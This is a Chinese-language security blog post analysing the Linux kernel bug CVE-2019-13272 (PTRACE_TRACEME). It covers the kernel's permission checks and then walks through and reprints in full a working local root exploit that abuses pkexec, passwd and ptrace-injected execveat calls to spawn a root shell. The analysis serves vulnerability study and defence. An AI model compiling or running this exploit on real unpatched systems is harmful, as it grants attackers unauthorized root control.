CVE-2019-13272 'PTRACE_TRACEME' 本地提权漏洞分析(二)

阅读量424379

|评论6

|

发布时间 : 2019-08-08 11:00:55

 

前言

前面一篇文章介绍了CVE-2019-13272引发的第一个问题,通过race 可以导致系统 panic,接着上面一篇文章,这篇文章会介绍cve-2019-13272提到的第二个问题,它可以通过 suid 程序达到本地提权的目的

由于自身水平有限,有些地方可能理解不当,望指正。

 

漏洞原理

jannh 给出的利用逻辑如下
对于一个普通用户,考虑下面场景

  1. task A fork 出task B
  2. task B fork 出task C
  3. B execve 一个 suid 程序(假设root,这时 B 的 cred是 root 权限)
  4. C 调用 PTRACE_TRACEME 让 B trace 自己 ( C 记录 B root 权限的 cred)
  5. C execve 同样执行一个 suid 程序(/usr/bin/passwd)
  6. B 减低自己权限 (关键 这个时候 A 可以通过 ptrace 修改 B 的内存)

C 保存的 ptracer 的 cred 是 root权限的,也就是说它会认为父进程是一个root权限的进程,而本身C已经是 root权限了,这个时候 B就可以修改 C的内存达到用以root权限任意执行代码了。

这个过程有两个问题

  • ptrace的时候是怎么样做的权限检查?
  • 怎么样找出 一个 task B 这样的 suid 程序?

pkexec 程序

首先回答第二个问题
polkit 是 linux桌面下的一个授权模块,大多数的linux发行版本都有这个模块。因为自己也不是十分熟悉,就不误人子弟了,可以参考这个漏洞

pkexec 可以通过 --user 参数授权特定的用户执行命令,没有指定的话默认为root权限

参考 exp 中 exec 的命令,我们用strace 看看

% strace pkexec --user rtfingc /usr/lib/gnome-settings-daemon/gsd-backlight-helper  --help 2>&1 |grep setre
setreuid(0, 0)                          = 0
setregid(1001, 1001)                    = 0
setreuid(1001, 1001)                    = 0

/usr/lib/gnome-settings-daemon/gsd-backlight-helper 是一个 elf 程序,上面这条命令相当于用 rtfingc 这个用户执行/usr/lib/gnome-settings-daemon/gsd-backlight-helper --help 这条命令
转换到 rtfingc 用户的过程中会调用setreuid setregid 降低权限,这也就符合了前面 task B 的降权需求

ptrace 权限检查

首先从 ptrace 的使用上看

  • 普通用户只能trace自己的进程
  • root 用户可以trace 其他用户的进程
  • 同一个时间只能由一个ptracer
    ptrace 有两种方式
  • trace其他进程(PTRACE_ATTACH/PTRACE_SEIZE)(也就是 attach)
  • 让父进程trace自己(PTRACE_TRACEME)(只有子进程能用)

源码地址

我们假设 ptracer 是 B, ptracee 是 C
ptrace traceme

ptrace_traceme 在上一篇文章我们已经有做了简单的分析
ptrace_traceme() -> if (!current->ptrace) 是否已经被trace -> ptrace_link -> child->ptracer_cred = get_cred(ptracer_cred);

C 调用 PTRACE_TRACEME, 完成之后 C 的 ptracer_cred == B 的 cred

因为这里是进程自己授权其他进程来trace自己,所以并没有很多的检查
大部分的检查都会在做内存操作的时候体现

做内存操作时

对 ptracee 做内存读写的时候, 会通过ptrace_access_vm 函数做检查

// tsk 是ptracee 的task_struck (C)
int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
             void *buf, int len, unsigned int gup_flags)
{
    struct mm_struct *mm;
    int ret;

    mm = get_task_mm(tsk);
    if (!mm)
        return 0;
// 是否已经被trace
    if (!tsk->ptrace ||
    // ptracer 是 current
        (current != tsk->parent) ||
        ((get_dumpable(mm) != SUID_DUMP_USER) &&
         !ptracer_capable(tsk, mm->user_ns))) {
        mmput(mm);
        return 0;
    }

    ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
    mmput(mm);

    return ret;
}

ptracer_capable 函数

// task 为 ptracee 的 task_struct
bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
{
    int ret = 0;  /* An absent tracer adds no restrictions */
    const struct cred *cred;

    rcu_read_lock();
    // 获取 ptracer_cred 
    cred = rcu_dereference(tsk->ptracer_cred);
    if (cred)
    // 检查时否符合
        ret = security_capable(cred, ns, CAP_SYS_PTRACE,
                       CAP_OPT_NOAUDIT);
    rcu_read_unlock();
    return (ret == 0);
}

这里获取了ptracee 的·ptracer_cred ,调用 PTRACE_TRACEME 的时候保存的可以是 suid 程序的 cred, 也就是 root 权限,后续会使用这个cred检查是否有trace的权限。

 

exp 分析

下面我们分析 jannh 提供的exp, 笔者在测试的过程中方便起见对一些代码做了精简。
jannh 提供的exp

测试环境在 ubuntu 18.04.1 下

可以下载 jannh 的 exp 来做测试,需要自己查找helper 的路径
笔者测试时编写的 exp 已经贴在了下面,接下来我们将分析里面的实现逻辑

main 函数(task A) 创建

首先看 main 函数,一开始 是 argv[0] 的两个比较,暂时不用管它,后面会使用到。

    if(strcmp(argv[0],"stage2")==0){
        return middle_stage2();
    }
    if(strcmp(argv[0],"stage3")==0){
        return spawn_shell();
    }

接着创建了一个管道,用 fcntl 设置了管道的 buffer 长度,并向管道写东西
这里是为了方便后面的利用,下一次写 block_pipe[1] 的时候就会阻塞住

    // 下一次 写(block_pipe[1] 会  block 住
    pipe2(block_pipe,O_CLOEXEC|O_DIRECT);
    fcntl(block_pipe[0],F_SETPIPE_SZ,0x1000);
    char dummy=0;
    write(block_pipe[1], &dummy, 1);

task A fork 出 task B

可以看到这里 clone 出了一个 新的进程 ,也就是前面我们提到的 task B

    fprintf(stderr,"00 task A fork task B n" );
    pid_t midpid =  clone(middle_main,middle_stack+sizeof(middle_stack),
            CLONE_VM|CLONE_VFORK|SIGCHLD,NULL);

接着 task A 进入了一个 while 循环,它检查 task B 的 /proc/xxx/comm 文件,这里保存着 task B 运行的命令名, 也就是我们 ps 的时候看到的名称,我们叫它进程名吧,task A等待直到task B 的 进程名 变成 我们定义的 pkexec 的 helper 时才会退出循环


static const char *helper_path="/usr/lib/gnome-settings-daemon/gsd-backlight-helper";
...
    while(1){
        //  等待 直到 task B 运行 pkexec 的时候
        int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);   
        char buf[16];                                                
        int buflen = read(fd, buf, sizeof(buf)-1);             
        buf[buflen] = '';                                          
        *strchrnul(buf, 'n') = '';                                
        if (strncmp(buf, basename(helper_path), 15) == 0)            
             break;                                                     
        usleep(100000);                                              
    }

task B fork task C

我们接下来查看 task B 的代码逻辑, task B 保存了 /proc/self/exe 的 fd, 也就是当前 poc 对应的 exe 文件,然后 fork 出了一个进程( task C)

static int middle_main(void *dummy){
    // task B
    pid_t middle = getpid();
    // 用于后续替换内存镜像
    self_fd = open("/proc/self/exe",O_RDONLY);
    fprintf(stderr,"01 task B fork task Cn");
    // fork 出进程 C
    pid_t child = fork();
    if(child==0){

task B 执行 pkexec

   fprintf(stderr,"02 task B execl suid pkexecn");
   // 用于后续替换内存映像
    dup2(self_fd,0);
    // stdout < block pipe 下一次向 stdout 写 东西的时候会 block 住
    dup2(block_pipe[1],1);

    /*
     * setreuid(0, 0)      
     * setregid(1001, 1001)
     * setreuid(1001, 1001)
     * write something
     * */
    struct passwd *pw = getpwuid(getuid());
    execl("/usr/bin/pkexec","pkexec","--user",pw->pw_name,helper_path,"--help",NULL);
    err(1,"execl pkexecn");

task B 保存poc 的 fd,这个在后续替换内存映像的时候会用到
block_pipe[1] 重定向到 stdout, 这样task B 在下次向stdout 写东西的时候会就阻塞住不动。接着运行 suid 程序 pkexec
为什么要这样做呢?
execl 我们可以看到,完整的命令为
pkexec --user xxx helper --help
pkexec 运行的所有输出都是输出到 stderr 上的,所以运行 pkexec 不会写 stdout,等 pkexec 降权之后,会去运行 helper ,也就是以 用户xxx 运行命令helper --help ,这个命令会从 stdout 输出 usage,于是 task B 就停在了这里。

task C ptrace_traceme

接下来看 task C 的逻辑

if(child==0){
        // task C
        //用于后面修改内存镜像
        dup2(self_fd,42);

task C 同样保存 poc 的 fd,用于后续内存镜像的替换

        // 监控父进程 也就是 task B 的 Uid 情况
        // 执行 pkexec 的时候task B 会变成 root 权限, Uid == 0
        int proc_fd = open(tprintf("/proc/%d/status",middle),O_RDONLY);
        char *needle = tprintf("nUid:t%dt0t", getuid());
        while(1){
            char buf[1000];
            ssize_t buflen =  pread(proc_fd,buf,sizeof(buf)-1,0);
            buf[buflen]='';
            if(strstr(buf,needle))break;
        }

接着进入一个 while 循环,它通过查看 task B 的 /proc/xxx/status 文件检测 task B 是否已经执行了 suid 程序 变成root权限,task B 变成 root 权限时退出循环

        fprintf(stderr,"03 task C trigger tracemen");
        // 保存 task B 的 root cred
        ptrace(PTRACE_TRACEME,0,NULL,NULL);
        // task C 执行 suid 程序
        fprintf(stderr,"04 exec suid /usr/bin/passwdn");
        execl("/usr/bin/passwd","passwd",NULL);
    }

接着 task C 执行ptrace(PTRACE_TRACEME,0,NULL,NULL); 保存 task B 的 suid 的 cred, 然后 execl 运行 passwd 程序,自己变成 root 权限

main 函数(task A)修改 内存

okay 这个时候 task B 已经不是 root 权限了,task A 完全可以 attach task B,然后修改 task B 的内存

    fprintf(stderr,"05 task A attack task Bn");
    ptrace(PTRACE_ATTACH,midpid,0,NULL);
    waitpid(midpid,&dummy_status,0);

    force_exec_and_wait(midpid, 0, "stage2");

exp 中 attack 上 task B 之后,使用了一个 force_exec_and_wait 函数
我们来看看它干了什么

static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
    struct user_regs_struct regs;                                         
    struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };   
    // 在 syscall 调用时停下    
    ptrace(PTRACE_SYSCALL, pid, 0, NULL);                           
    waitpid(pid, &dummy_status, 0);
    // 获取 registers 
    ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);
    /* set up indirect arguments */   
    // 在栈上构造假的数据,作为后面 execve 的参数    
    unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;          
    struct injected_page {                                                
      unsigned long argv[2];                                              
      unsigned long envv[1];                                              
      char arg0[8];                                                       
      char path[1];                                                       
    } ipage = {                                                           
      .argv = { scratch_area + offsetof(struct injected_page, arg0) }     
    };                                                                    
    strcpy(ipage.arg0, arg0); 
     // 写 task B 的 内存    
    for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {                
      unsigned long pdata = ((unsigned long *)&ipage)[i];                 
      ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),  (void*)pdata);  
    }                                                                     
    /* execveat(exec_fd, path, argv, envv, flags) */  
    // 修改寄存器,换成 execveat 系统调用    
    regs.orig_rax = __NR_execveat;                                        
    regs.rdi = exec_fd;                                                   
    regs.rsi = scratch_area + offsetof(struct injected_page, path);       
    regs.rdx = scratch_area + offsetof(struct injected_page, argv);       
    regs.r10 = scratch_area + offsetof(struct injected_page, envv);       
    regs.r8 = AT_EMPTY_PATH;       
    ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov);
    ptrace(PTRACE_DETACH, pid, 0, NULL);
    waitpid(pid, &dummy_status, 0);

}

上面代码的逻辑如下

  1. 获取 task B 当前的寄存器
  2. 在 stack 上构造假的数据,作为系统调用的参数
  3. 更改 寄存器的值,执行 execveat系统调用

task B 执行 execveat 时传入的 exec_fd 是 0, 对应我们前面看到的dup2(self_fd,0);, 也就是重新运行一遍poc了,于是逻辑又会从 main 函数开始,这个时候 task B 的 argv[0] 已经被改成 stage2 了,这个时候就会进入前面main 函数入口的 strcmp 的逻辑

   if(strcmp(argv[0],"stage2")==0){
        return middle_stage2();
    }
    if(strcmp(argv[0],"stage3")==0){
        return spawn_shell();
    }

task B 进入 middlle_stage2 函数

    static int middle_stage2(void){
    fprintf(stderr,"06 middle stage2n");

    pid_t child =  waitpid(-1,&dummy_status,0);
    force_exec_and_wait(child, 42, "stage3");
    return 0;
}

它等待 task C 的 STRTRAP 信号,然后再次调用 force_exec_and_wait 更改 task C 的内存,这个时候 task C 保存的ptracer_cred 是 root 权限的,所以可以成功更改。
于是 task C 会同样调用execveat ,进入 stage3, 也就是 spawn_shell 函数,这时候 C已经是 root 权限了,所以起个shell 就可以得到一个 root 权限的 shell.

static int spawn_shell(void){
    fprintf(stderr,"07 trigger shelln");
    setresgid(0, 0, 0);
    setresuid(0, 0, 0);
    execlp("bash", "bash", NULL);      
    return 0;
}

完整exp

#define _GNU_SOURCE      
#include <string.h>      
#include <stdlib.h>      
#include <unistd.h>      
#include <err.h>         
#include <signal.h>      
#include <stdio.h>       
#include <fcntl.h>       
#include <sched.h>       
#include <stddef.h>      
#include <stdarg.h>      
#include <pwd.h>         
#include <sys/prctl.h>   
#include <sys/wait.h>    
#include <sys/ptrace.h>  
#include <sys/user.h>    
#include <sys/syscall.h> 
#include <sys/stat.h>    
#include <linux/elf.h>   

static const char *helper_path="/usr/lib/gnome-settings-daemon/gsd-backlight-helper";
static int block_pipe[2];
static int self_fd=-1;
static int dummy_status;

static char *tprintf(char *fmt, ... ){
    static char buf[10000];
    va_list ap;
    va_start(ap,fmt);
    vsprintf(buf,fmt,ap);
    va_end(ap);
    return buf;
}
static int middle_main(void *dummy){
    /*prctl(PR_SET_PDEATHSIG, SIGKILL);*/

    // task B
    pid_t middle = getpid();
    self_fd = open("/proc/self/exe",O_RDONLY);
    fprintf(stderr,"01 task B fork task Cn");

    pid_t child = fork();
    if(child==0){
        // task C
        /*prctl(PR_SET_PDEATHSIG, SIGKILL);*/
        dup2(self_fd,42);

        int proc_fd = open(tprintf("/proc/%d/status",middle),O_RDONLY);
        char *needle = tprintf("nUid:t%dt0t", getuid());
        while(1){
            char buf[1000];
            ssize_t buflen =  pread(proc_fd,buf,sizeof(buf)-1,0);
            buf[buflen]='';
            if(strstr(buf,needle))break;
        }

        fprintf(stderr,"03 task C trigger tracemen");
        ptrace(PTRACE_TRACEME,0,NULL,NULL);
        fprintf(stderr,"04 exec suid /usr/bin/passwdn");
        execl("/usr/bin/passwd","passwd",NULL);
    }


    fprintf(stderr,"02 task B execl suid pkexecn");
    dup2(self_fd,0);
    // stdout < block pipe 下一次向 stdout 写 东西的时候会 block 住
    dup2(block_pipe[1],1);

    /*
     * setreuid(0, 0)      
     * setregid(1000, 1000)
     * setreuid(1000, 1000)
     * write something
     * */
    struct passwd *pw = getpwuid(getuid());
    execl("/usr/bin/pkexec","pkexec","--user",pw->pw_name,helper_path,"--help",NULL);
    err(1,"execl pkexecn");

}
static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
    struct user_regs_struct regs;                                         
    struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };    
    ptrace(PTRACE_SYSCALL, pid, 0, NULL);                           
    waitpid(pid, &dummy_status, 0);                                 
    ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);
    /* set up indirect arguments */                                       
    unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;          
    struct injected_page {                                                
      unsigned long argv[2];                                              
      unsigned long envv[1];                                              
      char arg0[8];                                                       
      char path[1];                                                       
    } ipage = {                                                           
      .argv = { scratch_area + offsetof(struct injected_page, arg0) }     
    };                                                                    
    strcpy(ipage.arg0, arg0);                                             
    for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {                
      unsigned long pdata = ((unsigned long *)&ipage)[i];                 
      ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),  (void*)pdata);  
    }                                                                     
    /* execveat(exec_fd, path, argv, envv, flags) */                      
    regs.orig_rax = __NR_execveat;                                        
    regs.rdi = exec_fd;                                                   
    regs.rsi = scratch_area + offsetof(struct injected_page, path);       
    regs.rdx = scratch_area + offsetof(struct injected_page, argv);       
    regs.r10 = scratch_area + offsetof(struct injected_page, envv);       
    regs.r8 = AT_EMPTY_PATH;                                              
    ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov);
    ptrace(PTRACE_DETACH, pid, 0, NULL);
    waitpid(pid, &dummy_status, 0);

}
static int middle_stage2(void){
    fprintf(stderr,"06 middle stage2n");
    pid_t child =  waitpid(-1,&dummy_status,0);
    force_exec_and_wait(child, 42, "stage3");
    return 0;
}
static int spawn_shell(void){
    fprintf(stderr,"07 trigger shelln");
    setresgid(0, 0, 0);
    setresuid(0, 0, 0);
    execlp("bash", "bash", NULL);      
    return 0;
}
int main(int argc,char **argv){
    if(strcmp(argv[0],"stage2")==0){
        return middle_stage2();
    }
    if(strcmp(argv[0],"stage3")==0){
        return spawn_shell();
    }


    // 下一次 调用 write(block_pipe[1] 会  block 住
    pipe2(block_pipe,O_CLOEXEC|O_DIRECT);
    fcntl(block_pipe[0],F_SETPIPE_SZ,0x1000);
    char dummy=0;
    write(block_pipe[1], &dummy, 1);

    static char middle_stack[1024*1024];


    fprintf(stderr,"00 task A fork task B n" );
    pid_t midpid =  clone(middle_main,middle_stack+sizeof(middle_stack),
            CLONE_VM|CLONE_VFORK|SIGCHLD,NULL);

    while(1){
        //  等待 直到 task B 运行 pkexec 的时候
        int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);   
        char buf[16];                                                
        int buflen = read(fd, buf, sizeof(buf)-1);             
        buf[buflen] = '';                                          
        *strchrnul(buf, 'n') = '';                                
        if (strncmp(buf, basename(helper_path), 15) == 0)            
             break;                                                     
        usleep(100000);                                              
    }
    fprintf(stderr,"05 task A attack task Bn");
    ptrace(PTRACE_ATTACH,midpid,0,NULL);
    waitpid(midpid,&dummy_status,0);

    force_exec_and_wait(midpid, 0, "stage2"); 
    return 0;
}

小结一下

主要的逻辑大概如下
task A -> pipe2 write -> clone task B -> wait task B pkexec
task B -> fork task C -> dup pipe 到 stdout -> pkexec -> pipe write hang
task C -> wait task B pkexec -> ptrace traceme -> /usr/bin/passwd
task A -> 更换 task B 内存 -> stage2 -> 更换 task C 内存 ->stage3 -> root shell

 

总结

总体来看这个漏洞的限制还是比较大的
首先要找到一个内部有减权的 suid 程序就比较难了
pkexec 是linux 桌面 freedestop 上的验证程序,也就是说非桌面版本就可能没有这个东西,要用它也只能在桌面上。
像 android ,它把 suid 程序都去除了这个漏洞就几乎造不成什么影响。
这个漏洞和之前的 usb creator 漏洞差不多,实际应用上感觉都有点鸡肋。

 

reference

https://bugs.chromium.org/p/project-zero/issues/detail?id=1903

本文由rtfingc原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/183528

安全KER - 有思想的安全新媒体

分享到:微信
+15赞
收藏
rtfingc
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66